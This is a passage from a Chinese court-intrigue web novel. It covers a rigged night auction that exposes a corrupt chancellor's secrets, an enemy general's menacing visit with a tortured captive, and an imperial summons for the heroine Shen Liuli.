一个身着火红色西域长裙,脸上蒙着一层薄薄面纱,身段妖娆的女子,在一众侍女的簇拥下,缓缓地走了出来。
她的出现,瞬间将所有人的目光,都吸引了过去。
她,一个只知其名,不知其来历的神秘女人。
——红夫人。
“欢迎各位,莅临我无名坊。”
红夫人的声音,带着几分西域女子特有的魅惑,在寂静的暖阁内缓缓响起。
“今夜的规矩,想必各位都已清楚。”
“价高者,得之。”
“现在我宣布,夜拍正式开始!”
随着拍卖的开始,暖阁内的气氛瞬间被点燃。
先呈上来的,不过是些开胃小菜。有前朝名家的字画,有西域进贡的宝石,甚至还有一柄,据说是从某位**君主墓中盗出的,削铁如泥的宝剑。
每一件,都引来了此起彼伏的竞价声。
顾九始终没有出手,他只是懒洋洋地靠在椅子上,一手端着茶杯,一手有节奏地敲击着桌面。
他的目光,不着痕跡地,与斜对面的丞相府总管,张德,在空中短暂地交汇了一下。
两人都从对方的眼神里,看到了毫不掩饰的挑衅。
“哼,装模作样。”顾九在心里,冷笑一声,“一个狗仗人势的奴才罢了,也敢在小爷我面前摆谱,待会儿有你哭的时候。”
终于,在几件无关紧要的拍品过后,红夫人对着身旁的侍女,使了个眼色。
两名身着黑纱的侍女,抬着一个用黑布包裹得严严实实的铁盒,缓缓地走上了高台。
来了!
顾九的精神,猛地一振!
“接下来的这件拍品,想必在场的各位,都已有所耳闻了。”红夫人的声音,带着几分神秘,“此物来自千里之外的大徽王朝北境,其价值已非金钱所能衡量。”
她伸出纤纤玉手,将那块黑布,缓缓地揭开。
一个看起来再寻常不过的铁盒,出现在了所有人的面前。
“大徽王朝,北境三十万大军,最完整的军力部署图!”红夫人的声音,响彻了整个暖阁,“此图由大徽叛将亲手绘制,上面清清楚楚地记载着,从粮草辎重到**,从将领名册到暗哨分布的每一个细节!”
“此物,不设底价。”
“每次加价,不得低于一万两白银!”
这个加价的数额,让在场所有人都倒吸了一口冷气!
可紧接着,便是更加疯狂的贪婪!
“十万两!”
第一个开口的,是丞相府的总管,张德。
他几乎是在红夫人话音落下的瞬间,便举起了手中的牌子,那副志在必得的模样,仿佛早已将此物,视为了自己的囊中之物。
“十五万两!”
顾九懒洋洋地举起了牌子,甚至还打了个哈欠,仿佛他叫的不是十五万两白银,而是十五个铜板。
他这副漫不经心的模样,瞬间便激怒了对面的张德。
“二十万两!”张德的声音,带上了几分怒意。
“二十五万两。”顾九一副云淡风轻的模样。
“三十万两!”
“三十五万两。”
价格,在短短数息之间,便被这两个“土财主”,给抬到了一个令人咋舌的高度!
在场的其他“贵客”,早已是看得目瞪口呆。
他们本也对这份军防图有几分兴趣,可在这等,如同烧钱一般的竞价面前,他们那点心思,早已是烟消云散。
所有人都心知肚明,今夜的这场戏,主角只有这两个人。
“五十万两!”
当张德,咬着牙,报出这个近乎疯狂的价格时。顾九没有立刻跟价,而是端起茶杯,浅呷一口,随即又对着身旁的小厮,低声耳语了几句。
那小厮连连点头,随即又对着顾九,比划了几个手势。
顾九的眉头,在面具下紧紧地锁了起来,脸上露出了一个为难的表情。
他这番操作,在所有人看来,都是一个,财力即将见底的信号。
张德见状,心中大定。他看着顾九,脸上露出了一个轻蔑的笑容。
“怎么?”他故意扬声说道,“这位老板是没钱了吗?若是没钱,便早些说,也免得在这里,浪费大家的时间。”
他就是要用这种方式,来激怒顾九,让他方寸大乱。
然而,顾九却像是没有听到他的嘲讽一般。
他只是,对着高台上的红夫人,拱了拱手,脸上露出了一个,略带歉意的笑容。
“夫人见笑了。
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”他缓缓说道,“在下只是没想到,这都城中,竟还有比在下,更财大气粗的人物。佩服,佩服。”
他说着,缓缓地放下了手中的牌子。
他竟是……放弃了?!
这个变故,不仅让张德愣住了,就连高台上的红夫人,也闪过了一抹不易察觉的惊讶。
“五十万两,一次。”
“五十万两,两次。”
“五十万……”
就在红夫人手中的小锤,即将落下的瞬间!
顾九,却又慢悠悠地,将牌子重新举了起来。
“……五十一万两。”
他这番操作,堪称羞辱!
“噗——!”
在场的宾客中,不知是谁,第一个没忍住,当场便笑出了声。
紧接着,整个暖阁,都响起了一片压抑不住的窃笑声。
张德的脸,在一瞬间涨成了猪肝色!
他怎么也没想到,这个看起来脑满肠肥的“江南土猪”,竟敢用这种方式,来羞辱他!
“六十万两!”他几乎是嘶吼着,报出了这个价格!
“六十一万两。”
“七十万两!”
“七十一万两。”
这场竞拍,早已不再是金钱的较量。
而是,尊严的战争!
张德的眼睛,早已是血红一片!他死死地盯着顾九,那副模样,恨不得当场就将他给生吞活剥了!
他知道,自己今夜若是不能在价格上,将这个“土财主”给彻底碾压,那他丞相府的脸,就算是丢尽了!
“一百万两!”
当他,从牙缝里,挤出这个足以让人疯狂的数字时。所有人的目光,都聚焦在了那个“江南富商”身上。
他们都想看看,这个男人到底还能否再创造奇迹。
然而,这一次,顾九却只是看着他,缓缓地摇了摇头。
他没有再加价,甚至没有再多说一个字。
他只是,对着张德,竖起了一个大拇指。
那副模样,像是在说:
“你牛,你赢了。”
“一百万两,一次!”
“一百万两,两次!”
“一百万两,成交!”
随着红夫人手中清脆的落锤声,这场竞拍终于落下了帷幕。
张德,以一个天价,赢得了那份,足以让他满门抄斩的罪证。
他看着那个,瘫坐在椅子上的“江南富商”。他知道,自己今夜,不仅赢得了“面子”,更赢得了“里子”。
他甚至已经能够想象到,三日之后,当这份“铁证”,连同沈琉璃那个**的人头,一同被呈到靖亲王面前时,那将是何等,大快人心的景象!
他没有再有半分停留,在所有人的注视下,亲自走上高台,从红夫人的手中,接过了那个,沉甸甸的铁盒。
随即,他便带着他的人,头也不回地走出了这间暖阁。
看着他离去的背影,顾九的嘴角不易察觉地勾起了一抹笑容。
自己今夜,虽然“输”了。
可他家主公,却赢了。
赢得,彻彻底底。
第96章 拍卖开始
随着一声清脆的槌响,这场竞拍终于落下了帷幕。
丞相府总管张德,以一百万两白银的天价,赢得了那份“罪证”。
他甚至没有再看那个“江南富商”一眼,这只来自南方的肥羊,已经被他彻底地踩在了脚下,连让他多看一眼的资格都没有。
他整理了一下自己的云锦衣袍,在所有人的注视下,走上了高台,从红夫人的手中,接过了那个沉甸甸的铁盒。
“夫人,今夜的戏不错。”他对着红夫人,不紧不慢地说道,“改日,我家主人定会备上一份厚礼,亲自登门拜谢。”
他这番话,说得极其傲慢,既是在彰显自己的身份,也是在敲打这位红夫人,让她明白,谁才是这座城里真正的主人。
红夫人闻言,只是笑了笑,脸上的表情看不出喜怒。
“张总管客气了,我无名坊做的只是生意。”她缓缓说道,“既然是生意,那便讲究一个‘银货两讫’,童叟无欺。”
张德满意地点了点头,他喜欢这种识时务的人。
他不再有半分停留,提着铁盒,头也不回地,走出这间暖阁。
就在张德的手,即将触碰到暖阁大门的那一刻。
一个西域女子特有的声音,从高台之上,不紧不慢地响了起来。
“张总管,请留步。”
是红夫人。
张德的脚步,猛地一顿。他缓缓地转过身,眼眸深处,闪过了一抹不悦。
“夫人还有何事?”
“也没什么。”红夫人笑了笑,“只是,今夜的拍卖,似乎还未结束。总管您如此行色匆匆,可不要错过了什么好戏?”
“未结束?”张德的眉头,在面具下紧紧地锁了起来。
在场的所有宾客,也同样露出了困惑的神情。
“没错。”红夫人点了点头,她对着身旁的侍女,轻轻地拍了拍手。
只见两名身着黑纱的侍女,抬着一个巨大的紫檀木盒,缓缓地走上了高台。
那木盒通体漆黑,看起来,古朴而又充满了神秘感。
“诸位,”红夫人的声音,再次响起,“接下来的这件拍品,乃是本店今夜,真正的压轴之物。”
“此物,无名,无价。”
“其价值,也非金钱所能衡量。”
“它的主人,只托我转告各位一句话。”
她顿了顿,环顾四周,继续道:“得此图者,可得天下。”
这句话,如同一道惊雷,在所有人的脑海中炸响!
得此图者,可得天下?!
这是何等的狂妄?!
又是何等的诱惑?!
一瞬间,所有人的呼吸,都变得急促了起来!
他们的目光,死死地聚焦在了那个,充满了神秘感的紫檀木盒上!
就连那个,本已准备离去的张德,此刻也停下了脚步。
“哼,装神弄鬼。”顾九在心里,不屑地撇了撇嘴,“这台词也太中二了,我们家主公什么时候变得这么有文采了?”
就在所有人的注视下,红夫人伸出纤纤玉手,将那个紫檀木盒,缓缓地打开。
里面静静地躺着一卷,看起来平平无奇的画卷。
画卷的卷轴,是用最寻常不过的竹子做的,还带着几分岁月的斑驳。
在场的所有人,都愣住了。
他们本以为,会看到什么惊天动地的神物。却不想,只是这么一幅,看起来毫不起眼的旧画?
“夫人,”张德第一个,发出了讥讽的冷笑,“您该不会是想告诉我们,这便是那幅,能得天下的神作吧?”
“张总管莫急。”红夫人笑了笑,她将那幅画卷,小心翼翼地取出,在两名侍女的帮助下,缓缓地展开。
画卷展开的那一刻,一股磅礴大气,扑面而来!
那山,是铁骨铮铮的山!
那水,是奔流不息的水!
虽然画卷的纸张早已泛黄,可那画上的山川河流,却仿佛拥有生命一般,狠狠地撞入了所有人的眼中!
“这……这是……”
在场的宾客中,不乏一些精通书画的雅士。
他们在看到这幅画的瞬间,便被彻底地撼动了!
“《山河社稷图》!”
不知是谁,在人群中,失声叫了出来!
这个只存在于传说中的名字,瞬间便将整个暖阁的气氛,给彻底引爆了!
“不可能!此物早已失传了上百年!怎么会……”
“天哪!若这是真品,那便是无价之宝啊!”
所有人的眼中,都燃烧起了疯狂的火焰!
然而,就在此时,一直坐在角落里的顾九,忽然发出了一声,极不合时宜的嗤笑。
“呵……”
这声嗤笑,声音虽然不大,却清晰地传入了在场每一个人的耳中。
所有人的目光,都齐刷刷地投向了他。
“这位老板,”红夫人的声音,带上了几分冷意,“您似乎对这幅画有不同的看法?”
“不敢不敢。”顾九连忙摆手,“在下只是个粗人,不懂什么风花雪月。只是觉得,这画虽然画得不错,却似乎有那么几处瑕疵,看起来,实在是有些碍眼。”
他说着,便从座位上站了起来,走到高台前,指着画卷上几处不起眼的地方,摇头晃脑地品评了起来。
“你们看这里,这山画得也太陡了些。”他指着画卷上,一处代表着昆仑山脉的走势,“我听说,真正的昆仑山,主峰与次峰之间地势平缓,风景秀丽,乃是神仙居住的地方。可这画上的山,却像是被人硬生生地劈开了一道口子,充满了肃杀之气,实在是大煞风景。”
“还有这里,这水也画得太‘浊’了些。”他又指着一处,代表着黄河的流域,“黄河之水,乃是龙脉所在,理应是清澈见底,奔流不息。可这画上的水,却浑浊不堪,还带着几分血色,实在是不吉利。”
他这番话,说得有鼻子有眼,在场的不少雅士,都忍不住发出了鄙夷的嗤笑。
然而,丞相府的总管张德,在听到这番话时,脸色却猛地一变!
因为,他比任何人都清楚!
那所谓的“被劈开的口子”,正是他韦家,在昆仑山脉深处,私自开采的一座,从未上报过朝廷的巨大铁矿!
而那所谓的“浑浊的血色”,则是他韦家为了炼铁,将含有剧毒的废水,直接排入黄河上游,致使下游数万百姓,常年受病痛折磨!
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这个看起来脑满肠肥的“江南土猪”,他不是在胡说八道!
他是在,指桑骂槐!
他是在,当着所有人的面,揭他韦家的老底!
“一派胡言!”张德再也无法保持镇定,他指着顾九,厉声喝道,“你这个不知从哪里冒出来的乡巴佬!也敢在此处妄议国之重器?!来人!给本总管将这个,妖言惑众的狂徒,拿下!”
他身后的几名护卫,立刻拔刀,便要上前。
然而,他们刚一动,高台上的红夫人,忽然笑了。
“呵呵……”
她看着张德,缓缓地摇了摇头。
“张总管,”她的声音,变得无比幽冷,“您似乎忘了,这里是无名坊。”
“在这里,我才是主人。”
她轻轻地拍了拍手。
暖阁四周的阴影里,瞬间冒出了数十名,手持弯刀的黑衣护卫!
他们将张德和他的人,团团围住!
“你……你们想做什么?!”张德看着眼前这阵仗,略带颤抖地说道,“我乃是当朝丞相府的总管!你们敢动我?!”
“不敢。”红夫人笑了笑,“我只是,想请总管您留下来,陪我们一起,看完这场戏罢了。”
她顿了顿,将目光,重新投向了《山河社稷图》。
“因为,这出戏才刚刚开始。”
她看着在场所有宾客,继续说道:“此图,起拍价,一文钱。”
“但,它拍的不是画。”
“它拍的,是这副画的背后,所代表的人命与财富!”
“而它的主人,也已将此图的所有权,全权委托于我。”
“从现在起,”她的眼中,闪过了一抹精光,“我无名坊,将公开悬赏,丞相大人名下的灰色产业!”
“凡能提供线索者,皆可领取一份,让你们下半辈子衣食无忧的重赏!”
丞相府总管张德,只觉得自己的脑子“嗡”的一声,一片空白。
他看着那个,在高台的西域女子,脸上早已是血色褪尽。
完了。
他知道,自己完了。
丞相韦光远,也完了。
他们本以为自己是猎人,却不想,从一开始,他们就是早已被算计的猎物!
“夫人!”他指着红夫人,声音剧烈地颤抖着,“你这是什么意思?!你是要与我丞相府,公然为敌吗?!”
“张总管言重了,我无名坊做的只是生意。”红夫人笑了笑,“既然是生意,那便讲究一个‘信’字。”
“此图的主人,既已将此物全权委托于我。那我便有责任,为我的客人,讨回一个公道。”
她说得云淡风轻,却字字如刀!
“你!”
张德还想再说些什么,可他身旁那数十名黑衣护卫,却已齐刷刷地上前一步!那森然的刀锋,在灯火下闪烁着冰冷的寒光,将他所有的话,都给硬生生地堵了回去!
而在场的其他宾客,早已是看得目瞪口呆。
他们怎么也没想到,今夜这场拍卖,竟会演变成一场,针对当朝丞相的公开处刑!
他们看着那幅《山河社稷图》,又看了看那个张德。
看来,从今夜起,乾国的天,怕是真的要变了。
第97章 不速之客
就在无名坊内,因为一幅《山河社稷图》掀起滔天巨浪的同时,一场真正的风暴,正从千里外的大徽王朝,悄然席卷而来。
乾国,通州港。
一艘挂着“四海商盟”旗帜的商船,缓缓地靠上了码头。
船上走下了一个身材魁梧的男人,他身着一身洗得发白的黑色劲装,脸上那道从眉骨斜贯至嘴角的狰狞刀疤,在阴沉的天色下显得格外骇人。
他便是萧彻。
他没有在港口做任何停留,只是从怀中取出了一份路引和一袋沉甸甸的银子,扔给了早已在此等候的接头人。
“马。”他只说了一个字。
那接头人不敢有半分怠慢,连忙将一匹北境战马牵了过来。
萧彻翻身上马,动作干净利落,没有半分拖泥带水。他没有再看接头人一眼,只是双腿一夹马腹,便朝着都城的方向,绝尘而去。
……
两日后,乾国都城,揽月楼。
废太子李裕倒台后,丞相韦光远也被皇帝下旨申饬,闭门思过。整个韦氏一族,都陷入了前所未有的恐慌之中。
而揽月楼,则成了这场**风暴,最大的受益者。
每日里,前来拜会、送礼的王公贵族,几乎要将揽月楼的门槛都给踏破。
顶层,望月台。
沈琉璃正对着一盏孤灯,研究着丞相韦光远名下的产业。
“小姐,您都看了一下午了,歇会儿吧。”春桃将一件新做的狐裘,轻轻地披在了她的身上,“外面又下雪了,小心着凉了。”
“嗯。”沈琉璃点了点头,却没有动。
“哼,韦家虽然元气大伤,但百足之虫,死而不僵。”君北玄的声音,在她脑海中响起,“你现在要做的,是整合所有力量,将他们的残余势力,连根拔起!而不是在这里,看这些没用的账本!”
“王爷,韦家是棵大树,我们虽然砍断了它的主干,可它的根,却依旧深植于乾国的朝堂与商界。”沈琉璃在心里,耐心地解释道,“我们若是用蛮力去拔,只会让自己也深陷泥潭。”
“我要做的,不是拔了它。”她的指尖,在那份密报上,轻轻地划过,“而是要,一点一点地将它的根,都变成我自己的养料。”
“歪理邪说!”君北玄虽然嘴上这么说,但声音里的怒气,明显消散了不少。
就在此时,一阵轻微的骚动,从楼下传来。
“怎么回事?!”沈琉璃的眉头,猛地一蹙!
她快步走到窗边,向下望去,只见揽月楼的大堂内,此刻竟是一片狼藉!
数名平日里训练有素的护卫,竟东倒西歪地躺在地上,哀嚎不已。
而在大堂的正中央,一个身材魁梧的男人,正提着一柄断头刀,一步一步地朝着楼上走来!
他的每一步,都走得极稳。那副模样,倒像是在巡视自己的领地!
“是他!”君北玄的声音,在她脑海中轰然炸响,充满了震惊与愤怒!
“萧彻!这个混蛋!他怎么会来这里?!”
沈琉璃的心,也沉入了谷底。
她怎么也没想到,大徽太子君怀瑾的回礼,竟会来得如此之快!
就在此时,一道同样高大的身影,从二楼闪身而出,拦在了萧彻的面前。
正是张启年!
“阁下是何人?”张启年的声音,沉稳如山,“为何在我揽月楼内,无故伤人?”
“你?”萧彻抬起眼皮,瞥了他一眼,“一个手下败将罢了,也配问我的名字?”
他竟是,认得张启年?!
张启年的脸色,猛地一变!
他当然知道,眼前这个男人是谁!
三年前,北境“黑石关”一役,他曾作为乾国的副将,与眼前这个男人,有过一次短暂的交手!
那一役,他虽然侥幸活了下来,却也被对方不要命的打法,给震慑住了!
“是你!”他从牙缝里,挤出了这两个字。
“看来,你还没糊涂。”萧彻笑了笑,“既然认得我,那便滚开,我今夜要找的不是你。”
他说着,便要越过张启年,继续上楼。
“站住!”
张启年猛地向前一步,将手中的长刀,横于胸前!
“这里是揽月楼!”他的眼中,闪过了一抹决然,“我不管你是谁,也不管你想做什么!只要我张启年还站在这里,你便休想再上前一步!”
“是吗?”萧彻的脸上,终于露出了兴奋的表情。
“那便让我看看,”他缓缓地举起了手中的断头刀,“你这只被拔了牙的老虎,还剩下几分,当年的骨气吧。”
话音未落,他整个人便如同炮弹一般,朝着张启年,猛地冲了过去!
刀光,瞬间便将整个大堂,映照得亮如白昼!
“砰!”
一声巨响!
张启年只觉得一股巨力,从刀身上传来!他整个人,竟被硬生生地震退了七八步,虎口处更是鲜血淋漓!
而萧彻,只是身形微微一晃,便再次欺身而上!
他的刀法,大开大合,没有任何多余的招式,只有一往无前的疯狂!
张启年虽然也是沙场老将,但在眼前这个疯子面前,竟是被打得节节败退,毫无还手之力!
“够了!”
就在此时,一个清冷的声音,从三楼的楼梯口,缓缓地传了下来。
萧彻的动作,猛地一顿。
他缓缓地抬起头,看向了那个,身着一身素衣的少女。
“你,就是沈琉璃?”他沙哑地问道。
“是我。”沈琉璃点了点头,脸上没有半分惧色,“不知将军到访,有何贵干?”
“没什么。”萧彻将那柄断头刀,扛在了肩上,“只是,奉了太子殿下之命,来为沈大小姐,送一份‘薄礼’罢了。”
萧彻对着门外拍了拍手。
只见两名同样身材高大的护卫,抬着一个巨大的囚笼走了进来。
囚笼里,关着的是一个,早已被折磨得不成人形,浑身是血的男人!
春桃“啊”的一声尖叫,随即死死地用手捂住了自己的嘴。
她看着那个蜷缩在笼中,分不清是死是活的身影,只觉得胃里一阵翻江倒海,几乎要将晚饭都吐了出来。
张启年的脸上,也血色褪尽。
他不是没见过**,他在战场上见过的尸体,比这揽月楼里的活人还多。可他却从未见过,如此充满了挑衅意味的“礼物”。
他下意识地上前一步,将沈琉璃护在了自己的身后,那双握着长刀的手,因为用力而青筋暴起。
唯有沈琉璃,依旧静静地站在三楼的楼梯口。
她的脸上没有半分惧色,那双清澈的眼眸,平静地注视着眼前这血腥的一幕。
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“疯了!这个君怀瑾,是真的疯了!”
在沈琉璃的脑海中,君北玄的咆哮声,几乎要将她的意识给掀翻了!
这位身经百战的战神,此刻的声音里,带上了前所未有的愤怒!
“他这是在做什么?!他这是在向我宣战!他竟敢用这种方式来羞辱我的人!”
“王爷,您先冷静。”沈琉璃在心里,平静地回应,“您怎么知道,笼子里的就是您的人?”
“除了我的人,还会有谁?!”君北玄怒道,“萧彻这个混蛋,他是我一手提拔起来的!他对我麾下的每一个亲兵都了如指掌!他……”
他的声音,猛地一顿。
因为,楼下那个扛着断头刀的男人,开口了。
“沈大小姐,”萧彻将那柄还在滴血的断头刀,扛在了肩上,“我家太子殿下说了,听闻大小姐在乾国,与我大徽北境的‘生意’做得风生水起,特命我为您送来一份‘贺礼’。”
他伸出那只没有握刀的手,指了指囚笼中那个,早已不成人形的男人。
“此人,乃是七殿下麾下,狼卫副统领之一,赵信。”他一字一顿地说道,“半月前,此人鬼鬼祟祟地潜入我大徽边境,被我东宫的暗卫当场擒获。殿下念其是七殿下的心腹,不忍苛责,便命我将他来给沈大小姐。”
“也顺便,替殿下问一句。”他的眼中,闪烁着疯狂的光芒,“不知大小姐您,对他这份‘贺礼’可还满意?”
狼卫副统领,赵信!
这个名字,如同一柄重锤,狠狠地砸在了君北玄的灵魂上!
“赵信……”他喃喃自语,“是我的错,是我害了他……”
“杀了他!”他的声音,瞬间变得无比冰冷,“沈琉璃!让张启年动手!不惜一切代价,将萧彻这个混蛋,给本王留在这里!本王要亲口问问他,他到底想做什么!”
“王爷,您冷静一点!”沈琉璃在心里,低喝一声,“您还不明白吗?这是个陷阱!一个由君怀瑾亲手为您布下的陷阱!”
“他就是要用这种方式,来激怒您!他就是要逼我们动手!一旦我在这里杀了萧彻,那便是坐实了‘通敌’的罪名!届时,他便可名正言顺地,率领大军,踏平北境!”
“那你说怎么办?!”君北玄暴跳如雷,“难道就任由他,将我的人,像狗一样,关在笼子里羞辱吗?!沈琉璃,本王告诉你,我君北玄的兵,可杀,不可辱!”
“我知道!”沈琉璃的声音,也陡然拔高,“可您是不是忘了,您现在已经不是那个,手握三十万大军的北境之王了!您只是一缕残魂!您冲动,您愤怒,可最终,为您这份冲动和愤怒买单的是我!是陆风!是顾九!是我们所有人!”
这番毫不客气的痛骂,如同一盆冰水,将君北玄那颗因为愤怒而有发热的头脑,瞬间浇得冰冷。
是啊……
他已经不是那个,可以一言定生死的肃王了。
他现在,什么都做不了。
这种无力感,再次如同潮水一般,将他的灵魂吞噬。
看着那个,在孤狼坠中,瞬间陷入了沉寂的灵魂,沈琉璃的心中,竟没来由地,生出了一股“心疼”的情绪。
她深吸一口气,强行压下心中那翻涌的情绪。
自己现在,必须替他,扛起这一切。
第98章 身受重伤的男人
沈琉璃缓缓地从三楼的楼梯口,走了下来。
她走到那个,散发着浓重血腥味的囚笼前,停下了脚步。
她将目光,投向了萧彻。
“将军,”她缓缓开口,“您刚才说,此人是狼卫的副统领?”
“没错。”
“那敢问将军,”沈琉璃继续问道,“您又是如何断定,他便是赵信呢?”
萧彻的笑容,猛地一僵。
“我……我自然有我的办法!”
“是吗?”沈琉璃笑了笑,“可我怎么记得,狼卫的每一位将士,为了防止被敌人俘虏后泄露军机,都会在自己的后槽牙里,藏上一颗见血封喉的**呢?为何这位‘副统领’竟还好端端地活着?”
“而且,”她顿了顿,话锋一转,“我更记得,狼卫的选拔,第一条便是,宁死不降!将军您当年,也曾是狼卫的一员,您觉得,一个真正的狼卫,会任由自己,被人像狗一样,关在笼子里,送到敌国的都城来吗?!”
她这番话,掷地有声!
不仅将萧彻的傲慢击溃,更是将他当年,那段最不光彩的历史,血淋淋地揭露在了所有人的面前!
“你!”
萧彻的脸色,在一瞬间变得无比难看!
他猛地举起手中的断头刀,直指沈琉璃的咽喉!
“你找死!”
“主公!”
张启年一个箭步上前,将手中的长刀,横于沈琉璃的身前!
整个揽月楼大堂,再次陷入了一片剑拔**张的气氛!
然而,就在此时,沈琉璃做出了一个,让所有人都意想不到的举动。
她轻轻地推开了张启年那柄,护在她身前的长刀。
她独自一人,迎着萧彻的目光,缓缓地向前走了一步。
“将军,您又何必动怒呢?”她看着他,说道,“您不远千里,将这份‘礼物’送来,不就是想看看,我沈琉璃到底是个什么样的人吗?”
“现在,您看到了。”
“我不过是,一个手无缚鸡之力的弱女子罢了。”
“您觉得,我这样的人,真的有资格,成为七殿下的盟友吗?”
她这番话说得楚楚可怜,将自己的姿态放到了最低。
萧彻看着眼前这个,谈笑风生的少女,心里竟没来由地生出了几分动摇。
“好了,”沈琉璃看着他,缓缓说道,“将军的这份‘礼物’,我收下了。”
“只是,此人身份不明,来历可疑。在查明真相前,怕是不能让将军您,就这么带在身边了。”
“不如,”她的眼中,闪过了一抹狠戾,“便由我,代为‘看管’吧。”
她顿了顿,环顾四周,最终将目光,落在了揽月楼掌柜身上。
“来人,”她的声音不大,却十分清晰,“将这位‘贵客’,请到我们的客房里去。”
“记住,要好生‘伺候’。”
“在没有我的允许之前,任何人,不得探视!”
萧彻他看着眼前这个,身形单薄的少女。他本以为,自己今夜面对的是一只待宰的羔羊。却没想到,这只羔羊的身上,竟披着一张凶狠的狼皮!
“你……”他下意识地向前踏出一步,手中的断头刀,发出了“嗡”的一声轻鸣!
“将军。”
张启年沉稳的声音,在他身旁响起。他没有再拔刀,只是默默地与身后十余名揽月楼护卫,组成了一道密不透风的人墙。
萧彻的目光,从张启年的脸上扫过,又看了看周围那些,气息沉稳的护卫。
看来,自己今夜,怕是杀不了这个女人了。
“好,很好。”最终,他从牙缝里,挤出了这几个字。
他将断头刀,缓缓地收回了鞘中。
“沈大小姐,”他看着沈琉璃,说道,“你很有种。”
“只是不知,你到底能撑到几时。”
“这都城说大不大,说小不小,咱们来日方长。”
他说完,便不再停留,大步流星地走出了揽月楼。
看着他的背影,消失在沉沉的夜色中,春桃才终于敢大口地喘气,只觉得后背早已被冷汗浸透。
“小姐,吓……吓死我了……”
“出息。”君北玄在她脑中,冷哼一声,“一场小小的遭遇战罢了,就把她吓成这样。”
“王爷,您说的轻巧。”沈琉璃在心里,有气无力地回敬了一句,“您现在自然是魂魄说话不腰疼,刚才那股杀气可是实实在在的。”
她没有再理会这个只会说风凉话的鬼王爷,而是快步走到了囚笼前面。
“来人,”她对着揽月楼掌柜,沉声吩咐道,“将这位贵客,请到我们揽月楼的客房里去。”
“记住,要好生伺候。”
……
半个时辰后,揽月楼顶层。
那个血人,早已被几名手脚麻利的婆子,给清洗干净,换上了一身干净的寝衣,安置在了软榻上。
而顾九,则有气无力地斜倚在椅子上。
“啧啧啧,”他看着躺在榻上,陷入了昏迷的男人,摇头晃脑地评价道,“君怀瑾,下手可真够黑的。断了七根肋骨,左腿的腿骨也被敲碎了,五脏六腑皆有震荡。这也就是遇到了小爷我,这要是换了旁人,怕是早就去阎王爷那里报道了。”
他说着,又指了指那人脸上,几道纵横交错的鞭痕。
“还有这脸,啧啧,算是彻底毁了。不过,从他这眉骨和鼻梁的轮廓来看,倒还真跟咱们狼卫的赵信,有七八分相似。”
“他不是赵信。”
一直沉默不语的陆风,忽然开了口。
“赵信的左耳后方,有一颗红痣。”他缓缓说道,“此人没有。”
“哦?”顾九来了兴趣,“那他是谁?”
“不知道。”陆风摇了摇头,“但,他确实是狼卫的人。”
他说着,便将一枚从那人怀中,搜出的令牌,放在了桌上。
那令牌,与之前在枯井中
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丢失的那枚,如出一辙。
“看来,君怀瑾为了演这出戏,还真是下了血本啊。”顾九看着令牌,啧啧称奇,“只是,我还是想不通,他为何要费这么大劲,演这么一出‘送人头’的戏码?他难道真的以为,凭这么一个半死不活的‘假货’,就能把我们给吓住?”
“他不是在吓我们。”
一直沉默不语的沈琉璃,终于开了口。
她看着那个,躺在榻上的男人,轻声说道:“他是在,试探我们。”
“试探?”
“没错。”沈琉璃点了点头,“他想看看,在面对一个自己人的时候,我们会做出什么样的反应。”
“我们若是杀了他,那便是冷血无情。”
“我们若是救了他,那便等于,是接下了他这份战书。”
“而他,则可以让萧彻这头‘疯狼’,名正言顺地留在乾国,继续查案。”
“好一招‘一石三鸟’。”君北玄在她脑中,冷冷地说道,“这个君怀瑾,比我们想象中,还要难对付得多。”
“那……那我们现在该怎么办?”春桃的声音里,带上了哭腔,“这简直就是一个死局啊!我们救也不是,不救也不是!”
是啊,怎么办?
所有人的目光,都聚焦在了沈琉璃的身上。
“救,自然是要救的。”
许久,沈琉璃才缓缓开口。
“只是,这救人的方式,便由不得他了。”
她站起身,走到舆图前,指尖在代表着“皇宫”的标记上,轻轻一点。
“他不是想看戏吗?”
“那我们,便让他好好看看!”
……
第二日清晨,一则惊人的消息,传遍了都城的大街小巷。
大徽王朝派来的“使者”,萧彻将军,昨夜竟在揽月楼,与**打出手,还留下了一个,身受重伤的男人!
而那位沈大小姐,不仅安然无恙,更是以德报怨,遍请天下名医,为那位来历不明的人,诊治!
这则消息一出,整个都城沸腾了!
无数的百姓,都**在揽月楼的门外想亲眼看看,这位传说中的刺客,到底长什么样。
而三皇子府内,李琰在听完幕僚的汇报后,勃然大怒,当场便要备车,前往揽月楼,为表妹主持公道。
二皇子府内,李昭则只是笑了笑,将手中的书卷,又翻过了一页。
……
皇宫深处,御书房。
皇帝君宏德在听完陈公公的汇报后,他缓缓开口:“那个丫头,竟把君怀瑾送去的刀,硬生生地变成了自己的盾?”
“有意思,真是有意思。”
他缓缓地站起身,走到了窗子前面。
“传朕旨意。”他缓缓开口。
“宣,沈琉璃,即刻入宫觐见。”
“朕倒是有些好奇,她这葫芦里,到底卖的什么药。”
“也顺便,再问问她,朕让她寻的‘龙血玉珊瑚’,可有眉目了?”
第99章 天子之饵
前来宣旨的,是皇帝身边最信任的内侍总管,陈公公。
他没有带任何仪仗,只乘着一辆毫不起眼的青布马车,悄无声息地停在了尚书府的侧门。
父亲沈从安在接到消息后,第一时间便赶到了晚晴居。
“琉璃,”他声音沙哑,“陛下他宣你即刻入宫觐见。”
“我知道了,父亲。”沈琉璃缓缓地站起身,脸上没有半分意外。
“小姐!您不能去啊!”春桃“噗通”一声跪倒在地,死死地抱住了沈琉璃的大腿,哭得梨花带雨,“那皇宫是龙潭虎穴!您这一去,怕是就再也回不来了!”
“胡说!”沈琉璃低喝一声,她当然知道,自己此行,凶多吉少。
“哼!”君北玄的声音,在她脑海中响起,“哭有什么用?!你现在要做的,不是去安抚这个没用的丫鬟,而是要在最短的时间内,想好对策!皇帝那个老狐狸,绝不会无缘无故地宣你入宫!”
“王爷,”沈琉璃在心里,苦笑一声,“您觉得,在绝对的皇权面前,任何应对之策,还有用吗?”
“自然有用!”君北玄的声音,掷地有声,“兵法有云,敌强我弱时,当避其锋芒,攻其不备!他既然是在宫中召见你,那便是他的主场。你此行,万万不可与他正面硬刚!”
“你的身份,是‘未来’的大徽太子妃,这是你唯一的护身符!记住,无论他问什么,你都只需咬死一点:你所做的一切,都是为了大徽与乾国未来的邦交!将所有的‘锅’,都甩到我那个,还未见过面的大哥身上!”
君北玄的这番话,让她心里安定了不少。
是啊,她不是一个人。
她缓缓地将春桃扶起,为她擦干了脸上的泪痕。
“放心,”她看着她,轻声说道,“我只是,入宫去向陛下,请个安罢了。”
“很快,就会回来。”
……
半个时辰后,皇宫,御书房。
